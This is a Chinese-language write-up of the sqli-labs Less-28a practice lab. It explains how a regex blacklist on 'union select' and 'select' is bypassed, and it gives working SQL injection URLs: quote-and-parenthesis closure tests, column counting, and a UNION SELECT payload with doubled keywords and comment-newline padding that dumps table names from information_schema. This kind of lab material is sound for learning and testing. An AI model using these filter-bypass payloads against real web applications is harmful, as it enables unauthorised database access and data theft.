

看源码过滤都被注释了，服了，自己取消掉注释

```
function blacklist($id)
{
//$id= preg_replace('/[\\\/\*]/','',$id);           //strip out /*
//$id= preg_replace('/[---]/','',$id);             //Strip out --.
//$id= preg_replace('/[#]/','',$id);               //Strip out #.
//$id= preg_replace('/[ +]/','',$id);              //Strip out spaces.
//$id= preg_replace('/select/m','',$id);           //Strip out spaces.
//$id= preg_replace('/[ +]/','',$id);              //Strip out spaces.
$id= preg_replace('/union\s+select/i','',$id);    //Strip out spaces.
return $id;
}
```

注意这里select后面是/m（多行匹配），不是/i（不区分大小写），说明select可以用大写绕过和双写绕过

而union select后面是/i，说明是不区分大小写，必须双写绕过

详细的见正则表达式修饰符

id=2'and'1'='1 回显1 说明有括号

① 127.0.0.1:8888/sqlilabs/Less-28a/?id=2%27and%271%27=%271

论文服务 CTF 工具性 实验室 区块链 其它

Welcome Dhakkan

Your Login name:Dumb

Your Password:Dumb

id=2')and('1'='1 回显2 说明就是单引号括号闭合

① 127.0.0.1:8888/sqlilabs/Less-28a/?id=2%27)and(%271%27=%271

论文服务 CTF 工具性 实验室 区块链 其它

Welcome Dhakkan

Your Login name:Angelina

Your Password:I-kill-you

这里尝试select1, 2, 3成功说明查询了三列，若是1, 2, 3, 4则会失败

127.0.0.1:8888/sqlilabs/Less-28a/?id=0%27)/%0a\*/UNIoUNIon/%0a\*/SeleCtn/%0a\*/seleselectct/%0a\*/1,2,3/%0a\*/||( %271%27=%271

论文服务 CTF 工具性 实验室 区块链 其它

Welcome Dhakkan

Your Login name:2

Your Password:1

因为过滤了union select和select，因此需要让他先过滤掉union select之后再显示一个union select就可以了，除非是循环过滤

http://127.0.0.1:8888/sqlilabs/Less-28a/?

id=0%27)/%0a\*/UNIoUNIon/%0a\*/SeleCtn/%0a\*/SeleCt/%0a\*/1,

(SeleCt/%0a\*/group\_concat(table\_name)/%0a\*/from/%0a\*/information\_sch  
ema.tables/%0a\*/where/%0a\*/table\_schema=%27security%27),3/%0a\*/||

(%271%27=%271

127.0.0.1:8888/sqlilabs/Less-28a/?id=0%27)/%0a\*/UNIoUNIon/%0a\*/SeleCtn/%0a\*/SeleCt/%0a\*/SeleCt/%0a\*/group\_concat(table\_name)/%0a\*/from/%0a\*/information\_schema.tables...  
论文服务 CTF 工具性 实验室 区块链 其它

Welcome Dhakkan

Your Login name:emails,referers,uagents,users

Your Password:1

**SQLI DUMB SERIES-28a**

**Only Your 'UNION'  
AND  
'SELECT' belong to us.**

Hint: Your Input is Filtered with following result: 0) UNION SeleCt 1,(SeleCt group\_concat(table\_name) from information\_schema.tables where table\_schema='security'),3 ||('1'='1

在图片的下方也显示了过滤后的字符串

这里select使用了大写绕过，双写绕过也可以